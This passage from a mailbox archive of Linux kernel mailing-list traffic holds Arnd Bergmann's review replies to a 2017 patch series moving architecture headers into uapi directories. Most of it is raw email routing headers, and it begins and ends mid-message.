>  # Work out what needs to be removed
>  oldheaders    := $(patsubst $(installdir)/%,%,$(wildcard $(installdir)/*.h))
>  unwanted      := $(filter-out $(all-files),$(oldheaders))
> @@ -67,8 +62,8 @@ printdir = $(patsubst $(INSTALL_HDR_PATH)/%/,%,$(dir $@))
>  quiet_cmd_install = INSTALL $(printdir) ($(words $(all-files))\
>                              file$(if $(word 2, $(all-files)),s))
>        cmd_install = \
> -        $(CONFIG_SHELL) $< $(installdir) $(srcdir) $(header-y); \
> -        $(CONFIG_SHELL) $< $(installdir) $(gendir) $(genhdr-y); \
> +        $(CONFIG_SHELL) $< $(installdir) $(srcdir) $(header-files); \
> +        $(CONFIG_SHELL) $< $(installdir) $(gendir) $(genhdr-files); \
>          for F in $(wrapper-files); do                                   \
>                  echo "\#include <asm-generic/$$F>" > $(installdir)/$$F;    \
>          done;                                                           \
> -- 
> 2.8.1
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-doc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

-- 
Daniel Vetter
Software Engineer, Intel Corporation
http://blog.ffwll.ch
--
To unsubscribe from this list: send the line "unsubscribe linux-kbuild" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.ports.ppc64.devel,gmane.linux.kbuild.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha
Subject: Re: [PATCH v2 1/7] arm: put types.h in uapi
Date: Mon, 09 Jan 2017 12:33:02 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <1990589.0aJHWbJK4F@wuerfel>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-2-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1483961664 29029 195.159.176.226 (9 Jan 2017 11:34:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jan 2017 11:34:24 +0000 (UTC)
User-Agent: KMail/5.1.3 (Linux/4.4.0-34-generic; KDE/5.18.0; x86_64; ; )
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Nicolas Dichtel <nicolas.dichtel@6wind.com>, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, li
To: linuxppc-dev@lists.ozlabs.org, linux-kbuild@vger.kernel.org
Original-X-From: xen-devel-bounces@lists.xen.org Mon Jan 09 12:34:16 2017
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xenproject.org ([192.237.175.120])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cQYDM-0006YP-4m
	for gcvxd-xen-devel@m.gmane.org; Mon, 09 Jan 2017 12:34:12 +0100
Original-Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cQYCd-0007Ev-E3; Mon, 09 Jan 2017 11:33:27 +0000
Original-Received: from mail6.bemta5.messagelabs.com ([195.245.231.135])
 by lists.xenproject.org with esmtp (Exim 4.84_2)
 (envelope-from <arnd@arndb.de>) id 1cQYCc-0007Ek-5w
 for xen-devel@lists.xenproject.org; Mon, 09 Jan 2017 11:33:26 +0000
Original-Received: from [85.158.139.211] by server-5.bemta-5.messagelabs.com id
 4C/F6-04025-40573785; Mon, 09 Jan 2017 11:33:24 +0000
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFtrOIsWRWlGSWpSXmKPExsVy0+OAty5LaXG
 EwbUEi+9bJjM5MHoc/nCFJYAxijUzLym/IoE14/LLX0wFN1kr/p7JbmB8wtLFyMUhJLCPUaJ5
 82ogh5ODTUBZ4vXRKawgtoiAvcTnvwvZQIqYBXZxSiw79p8RJCEsYCLx7vRSsAYWAVWJw9vWg
 8V5BTQkXuzbwQZiiwp4SOxc1w1mcwp4SWy5tIgRYtsORompj86zQjQISpyc+QRsELOAvETH5U
 ZWCFtHYsHuT2CbJQQ+M0osf78TbIOEwBk2iWU9TBMY+Wch6Z+FpH8Wkv4FjMyrGDWKU4vKUot
 0jSz0kooy0zNKchMzc3QNDUz1clOLixPTU3MSk4r1kvNzNzECA7GegYFxB2PfKr9DjJIcTEqi
 vI5RBRFCfEn5KZUZicUZ8UWlOanFhxhlODiUJHg3FBdHCAkWpaanVqRl5gBjAiYtwcGjJMI7E
 yTNW1yQmFucmQ6ROsWoy3Hg/YqnTEIsefl5qVLivBNBigRAijJK8+BGwOLzEqOslDAvIwMDgx
 BPQWpRbmYJqvwrRnEORiVh3kUgU3gy80rgNr0COoIJ6IhIO7AjShIRUlINjJXftyXd9vubkP/
 gRPziprwL3N8MjDf9OGbAFsd9p4BNLWO1KptsFqdQ7CWt+5HzZh640/WC1fd6ncZKl6MiV+9+
 a9j4z8w1urhtr+R5l+dV3EpLv6VcOZ2i37HpIaO10+ldFvy6S/I3xbpNNlLZsjE8a3HClJMFT
 VKHWV59zdapl0sLu5P8QImlOCPRUIu5qDgRAFyzk6nKAgAA
X-Env-Sender: arnd@arndb.de
X-Msg-Ref: server-7.tower-206.messagelabs.com!1483961603!78807836!1
X-Originating-IP: [217.72.192.75]
X-SpamReason: No, hits=0.0 required=7.0 tests=
X-StarScan-Received: 
X-StarScan-Version: 9.1.1; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 49878 invoked from network); 9 Jan 2017 11:33:23 -0000
Original-Received: from mout.kundenserver.de (HELO mout.kundenserver.de) (217.72.192.75)
 by server-7.tower-206.messagelabs.com with DHE-RSA-AES256-GCM-SHA384 encrypted
 SMTP; 9 Jan 2017 11:33:23 -0000
Original-Received: from wuerfel.localnet ([78.43.21.235]) by mrelayeu.kundenserver.de
 (mreue103 [212.227.15.145]) with ESMTPSA (Nemesis) id
 0MIgBs-1cSl7Y3lQO-002E9r; Mon, 09 Jan 2017 12:33:13 +0100
In-Reply-To: <1483695839-18660-2-git-send-email-nicolas.dichtel@6wind.com>
X-Provags-ID: V03:K0:lFuqw0O+zwe8xGI5ryMwMSgw46KXWXBsddg4+RL0e4FYSDZfxgm
 6kOGY1A4Vzl56BwTc73hDYZoeRkCvYNE/0v/R1N5GJqsV16rvxmElECduPJX3XxHL+hMezA
 OyKf98gUNbOTEcXnmh1jf1o4KsgMzAQeZj0NxkkqFo6/El8eFWh37SdIq5AgUycoFcJwEX/
 sFWkhUmE0ApwS2YqNPjqQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ner0l3fze+0=:L+72hpZSyrdkKC3Y5nQ1sw
 pX2v6dGCO/UixFM1gDa9Q4dfLe9TfF38/NWSrSci7slFMqOJRvxciDOYO8qpRpnalzyJUBFh/
 yVlq+w/OcrfPAUtq2SmS3PmYkRAtS2eTJvlqV0LLWYc/jkLI9r7OF7TdaiWO/4f4h4u6vRkk4
 XDm1x4Uz2LlX3qPkeyaFDL7oMT75NoH0LvO472l/BPOVk00S5GBpcKtT1C8pqeNiyvxl7Yrer
 TXu/NA82AXzPgZ597QRn04LBoOetElKkKvFglvFHzFypWJ91OgQ0q7t2dO/yf+2S9w0wNm2/r
 eh3VjL8es0HM4NWU4adJXCj5Dtpi7zyihfEraBDqv6lM84alCw5XehyJ6md3/ZblyPTdcCwZG
 LCsQGkgLPYWogyScygsvBQOU9qDFtyQlbIbBfbCWEqHs54e7hcBVHC4KcdpSrxk8uRc3UHb7k
 F56qtEv1om+xUI7Yx3YhqQIY0kq26TTjLdr+WndJNgp7xFvdSY5Fz/DtUACuyvUL6s0yQSTmH
 AR32i9iTKo/OFtpW9ckFl1wUnoFu5reWnlS/nP3kF80b5ajbo39VxdDCKeqxN6v4xeoPF2Cnm
 ppBV6cNRsewJzPAgtpi5sl4Tz98uPWPlnaPF73yXZeyim1P1galyh3PioeokhtlptuQAGmpu0
 RrSnxE9yHejiP/GTjSy9rp34XHc9PynGSovROgY7EKfoVQ0k3Di43+1jikOaVFH2NB3JhfIRn
 iysnVUSai0/0M1RS
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <https://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <https://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xen.org
Original-Sender: "Xen-devel" <xen-devel-bounces@lists.xen.org>
Xref: news.gmane.org gmane.comp.emulators.xen.devel:315011 gmane.linux.ports.ppc64.devel:137067 gmane.linux.kbuild.devel:16263 gmane.linux.ports.mips.general:57394 gmane.linux.alsa.devel:162950 gmane.linux.ports.ia64:27538 gmane.linux.documentation:44113 gmane.comp.video.dri.devel:175723 gmane.linux.drivers.mtd:71179 gmane.linux.ports.sparc:24296 gmane.linux.kernel.cross-arch:34690 gmane.linux.drivers.rdma:45253 gmane.linux.ports.hexagon:1086 gmane.linux.ports.sh.devel:54945 gmane.linux.scsi.open-fcoe.devel:12994 gmane.linux.kernel.arc:1977 gmane.linux.drivers.video-input-infrastructure:111745 gmane.linux.raid:55319 gmane.linux.kernel.metag:1209 gmane.linux.ports.arm.kernel:548896 gmane.linux.nfs:81345 gmane.linux.ports.parisc:27157 gmane.linux.network:448888 gmane.linux.kernel.mmc:41970 gmane.linux.kernel:2383165 gmane.linux.kernel.spi.devel:26066 gmane.comp.security.firewalls.netfilter.devel:66803 gmane.linux.ports.alpha:4005
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/315011>

T24gRnJpZGF5LCBKYW51YXJ5IDYsIDIwMTcgMTA6NDM6NTMgQU0gQ0VUIE5pY29sYXMgRGljaHRl
bCB3cm90ZToKPiAKPiBkaWZmIC0tZ2l0IGEvYXJjaC9hcm0vaW5jbHVkZS9hc20vdHlwZXMuaCBi
L2FyY2gvYXJtL2luY2x1ZGUvYXNtL3R5cGVzLmgKPiBpbmRleCBhNTNjZGI4ZjA2OGMuLmM0OGZl
ZTNkN2IzYiAxMDA2NDQKPiAtLS0gYS9hcmNoL2FybS9pbmNsdWRlL2FzbS90eXBlcy5oCj4gKysr
IGIvYXJjaC9hcm0vaW5jbHVkZS9hc20vdHlwZXMuaAo+IEBAIC0xLDQwICsxLDYgQEAKPiAgI2lm
bmRlZiBfQVNNX1RZUEVTX0gKPiAgI2RlZmluZSBfQVNNX1RZUEVTX0gKPiAgCj4gLSNpbmNsdWRl
IDxhc20tZ2VuZXJpYy9pbnQtbGw2NC5oPgouLi4KPiAtI2RlZmluZSBfX1VJTlRQVFJfVFlQRV9f
ICAgICAgIHVuc2lnbmVkIGxvbmcKPiAtI2VuZGlmCj4gKyNpbmNsdWRlIDx1YXBpL2FzbS90eXBl
cy5oPgo+ICAKPiAgI2VuZGlmIC8qIF9BU01fVFlQRVNfSCAqLwo+IAoKTW92aW5nIHRoZSBmaWxl
IGlzIGNvcnJlY3QgYXMgZmFyIGFzIEkgY2FuIHRlbGwsIGJ1dCB0aGUgZXh0cmEKI2luY2x1ZGUg
aXMgbm90IG5lY2Vzc2FyeSBoZXJlLCBhcyB0aGUga2VybmVsIHdpbGwgYXV0b21hdGljYWxseQpz
ZWFyY2ggYm90aCBhcmNoL2FybS9pbmNsdWRlLyBhbmQgYXJjaC9hcm0vaW5jbHVkZS91YXBpLy4K
ClRoZSBzYW1lIGFwcGxpZXMgdG8gcGF0Y2hlcyAyIGFuZCA0LgoKCUFybmQKCl9fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fClhlbi1kZXZlbCBtYWlsaW5nIGxp
c3QKWGVuLWRldmVsQGxpc3RzLnhlbi5vcmcKaHR0cHM6Ly9saXN0cy54ZW4ub3JnL3hlbi1kZXZl
bAo=


From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kbuild.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha
Subject: Re: [PATCH v2 3/7] nios2: put setup.h in uapi
Date: Mon, 09 Jan 2017 12:33:46 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <3162962.COsNxdSb45@wuerfel>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com> <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com> <1483695839-18660-4-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: blaine.gmane.org 1483961719 15813 195.159.176.226 (9 Jan 2017 11:35:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jan 2017 11:35:19 +0000 (UTC)
User-Agent: KMail/5.1.3 (Linux/4.4.0-34-generic; KDE/5.18.0; x86_64; ; )
Cc: Nicolas Dichtel <nicolas.dichtel@6wind.com>,
        linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
        linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
        airlied@linux.ie, linux-fbdev@vger.kernel.org,
        dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
        sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
        linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
        coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
        xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
        linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-raid@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        o
To: linuxppc-dev@lists.ozlabs.org, linux-kbuild@vger.kernel.org
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Jan 09 12:35:10 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1cQYEF-00035b-JD
	for glpi-linux-ia64-2@m.gmane.org; Mon, 09 Jan 2017 12:35:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S966703AbdAILfA (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Mon, 9 Jan 2017 06:35:00 -0500
Original-Received: from mout.kundenserver.de ([212.227.126.135]:61637 "EHLO
        mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S966542AbdAILev (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Mon, 9 Jan 2017 06:34:51 -0500
Original-Received: from wuerfel.localnet ([78.43.21.235]) by mrelayeu.kundenserver.de
 (mreue001 [212.227.15.129]) with ESMTPSA (Nemesis) id
 0McMsh-1c99gd0xM7-00JbtL; Mon, 09 Jan 2017 12:34:00 +0100
In-Reply-To: <1483695839-18660-4-git-send-email-nicolas.dichtel@6wind.com>
X-Provags-ID: V03:K0:ZZnO/2hBeL/oePYR2t9fbBJzN1+JfZ2CSwbxHUb38gX1q9cIRR3
 ZxoWH9h+tx5gFfkn22Cdce25AQmYuHg2Zi8qykg9H+b4HQq1LOUjRrA3WsU9N4xBj/mbhCp
 Ngf9z7jVw6U+jcwcfuCprdZoKgHb2u4wSkhAcXeMEeh1tiKT9btF7FhErAucE0jVe3ivPLM
 vjIfmw9ilHnXGrvpfq3xw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:DH1jTx2lUHQ=:M/9HvXYhmCSKgNd/YM2aUg
 dXH5Dl4sfq5ho+/IyCsB8yaH2JxBzCjFj1ENkUZXkbRvdehF0/3dop8SIqqwxocLqEE6NCySb
 lBv884R+2/radA3RPLZTmzGKcWMlHifwNeC7xGaOSnOqY3puUOC+Fes7SSOSkTCVcBKaCA0U1
 /Mu0NIUvU/89JSF57iPlWKuUv4QvEJn69Zgsmy+xFJ8+pQ22fWw8ho+By8XAd56Gax5K2xbEZ
 LnOXHA9MhLzhbULBgTwOzQm2In24Yz/7Co8jObZMJpOi2f+IUvNlizolxq8sYxmb16p7KLHCI
 R5XV3OGlpbNGgAzcP9czpQktfFrR+jwnBPv6wd0IaIpqrgb+k1lVMO6MDYf70WJSogFmxl30H
 /6ceFjrYsenYa0T6q/sy7uCu00K5OnB+K2zU3xJK+/6ZPVbbhd5oHv0o3fuxsHTZPo3oZVjzv
 Ba8zyP6CBDSF6qsPhQQjrVbccwMn5q2YJ3wSL89fSoM53urm4xyTVo3gzemNIYpVg0nNgfHqM
 oolyUQpGalinFgRtqxgVxdEA+JBVOaLiUC/nym+jcCa3nhlkPtYHYWEuz/RCJdM4S29l0FGFP
 pqM2Pdq05kSi0oImR99CxoGpTpLzJBaaht2/u5pBa7hcFLBpe3g+/X3u/NrGri37ayXL/ZJLx
 YUPp5bucmf87fFBtbYs8kry47L9QZvQG20m4rke+MFBI+k1FYCmCMAT2KQZ/quKfypopJrcHJ
 i31sf89bmgym52rB
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:27539 gmane.linux.ports.ppc64.devel:137068 gmane.linux.kbuild.devel:16264 gmane.linux.ports.mips.general:57395 gmane.linux.alsa.devel:162951 gmane.linux.documentation:44116 gmane.comp.video.dri.devel:175724 gmane.linux.drivers.mtd:71180 gmane.linux.ports.sparc:24297 gmane.linux.kernel.cross-arch:34691 gmane.linux.drivers.rdma:45254 gmane.linux.ports.hexagon:1087 gmane.linux.ports.sh.devel:54946 gmane.linux.scsi.open-fcoe.devel:12995 gmane.linux.kernel.arc:1978 gmane.linux.drivers.video-input-infrastructure:111746 gmane.linux.raid:55320 gmane.linux.kernel.metag:1210 gmane.linux.ports.arm.kernel:548899 gmane.linux.nfs:81346 gmane.linux.ports.parisc:27158 gmane.linux.network:448889 gmane.linux.kernel.mmc:41971 gmane.linux.kernel:2383168 gmane.linux.kernel.spi.devel:26067 gmane.comp.security.firewalls.netfilter.devel:66804 gmane.linux.ports.alpha:4006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/27539>

On Friday, January 6, 2017 10:43:55 AM CET Nicolas Dichtel wrote:

> diff --git a/arch/nios2/include/uapi/asm/setup.h b/arch/nios2/include/uapi/asm/setup.h
> new file mode 100644
> index 000000000000..8d8285997ba8
> --- /dev/null
> +++ b/arch/nios2/include/uapi/asm/setup.h
> @@ -0,0 +1,6 @@
> +#ifndef _UAPI_ASM_NIOS2_SETUP_H
> +#define _UAPI_ASM_NIOS2_SETUP_H
> +
> +#include <asm-generic/setup.h>
> +
> +#endif /* _UAPI_ASM_NIOS2_SETUP_H */
> 

This one is only a redirect to an asm-generic header, so it can be
removed completely and replaced with a line in the 
arch/nios2/include/uapi/asm/ file:

generic-y += setup.h

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.ppc64.devel,gmane.linux.kbuild.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha
Subject: Re: [PATCH v2 0/7] uapi: export all headers under uapi directories
Date: Mon, 09 Jan 2017 12:33:58 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <3131144.4Ej3KFWRbz@wuerfel>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483961778 518 195.159.176.226 (9 Jan 2017 11:36:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jan 2017 11:36:18 +0000 (UTC)
User-Agent: KMail/5.1.3 (Linux/4.4.0-34-generic; KDE/5.18.0; x86_64; ; )
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Nicolas Dichtel <nicolas.dichtel@6wind.com>, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, li
To: linuxppc-dev@lists.ozlabs.org, linux-kbuild@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Jan 09 12:36:08 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1cQYF8-0007Tj-Ce
	for gla-linux-snps-arc@m.gmane.org; Mon, 09 Jan 2017 12:36:02 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cQYFC-0001jG-Il; Mon, 09 Jan 2017 11:36:06 +0000
Original-Received: from mout.kundenserver.de ([217.72.192.75])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1cQYEr-0000Pj-7E; Mon, 09 Jan 2017 11:35:58 +0000
Original-Received: from wuerfel.localnet ([78.43.21.235]) by mrelayeu.kundenserver.de
 (mreue103 [212.227.15.145]) with ESMTPSA (Nemesis) id
 0Mg0zl-1c5Ho43kub-00NRrB; Mon, 09 Jan 2017 12:34:02 +0100
In-Reply-To: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
X-Provags-ID: V03:K0:wU8GJSP4OhJhd2G07RdfqjkficQJ7uKfv+nqSredestBcn9w8Ak
 cyqdP31aGe4IXlyw8HcQrUPySHuSZ+Z4Oo6csQUQPHHD8YGDm5HljdGbw8TZIaZns8gYrEr
 wSlZmtpBexxu5dY27E+ORE/Nj9HGNQpfoPbh6KuxUu6BxJZK3SkuOU/7Ol/aoRC3fTWjECo
 2PT8B0Ak0ZqZcF+1YO4EQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MTir4VDdfTQ=:aSv4A5Fx+SGSeaorHRgk/C
 0PdMhHey0cTCpHuau+Wjj8w3yBunjnoPWQG1QKad/hmd5O8s10a6fJgkE+XfEepXGoebsWPI+
 WRLNx6SypBaHp3GCjmzUNk/8cQPJC8pZLZanaapLqkEckm2dNGjpGwgzIIH6RpLOjXJYSSDUK
 MdKYxPx+cyzs5p02SyTjZml9By8LVQXzvDj4G4EDKNTdWgZILLULOECdsJp6BsI6+wk2k6eIF
 pZQsfGwMwn1SdetyXj8GaUIQ9ceNlX98KGxRjqpc6VE/5puJ11/q4Aiac+9Z847Vwou9bRHRY
 aildmwrSmpiah32mrU9th/PBxKLM6PaZmRUTrWO1JKUqw0Bym+5VZuIZjYFLj1PoXgtqs8hAW
 DshhWXJEEcirmIBHUmbeUlkgeRXLusSB56UYOQlavwddlw2ZWqmiRdgKHAC/xswe1/8iidsWf
 Pzcl8Rk01kTt/ZSsX0JId8ZrUWHpWUUHoKfhOXEIMgFItYOTOJ644ekuESkve8E6gl1RZNyI4
 2hqgsrctk0to814BfMBZq+96Rz/Sx0X8b0+UDXjzNSBjUifuoKWR3HFCVfeHJoB1JqM2G+mrX
 2s4DFdVPgT2YuSr6+0nDDSyyt6Zagwpw8eaEDO9zmJYUasWnRGUhA0RD+NRAyakFDxSO27M4S
 3N910RyxC1RagVNxELKQt9zt0CqWER9NkXaM31gBX0HfpU7H183Gq1Myftu9Ns776YD6P7G5I
 4Tpkl/pmA0Da1HFz
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170109_033545_939701_29730A89 
X-CRM114-Status: GOOD (  21.14  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
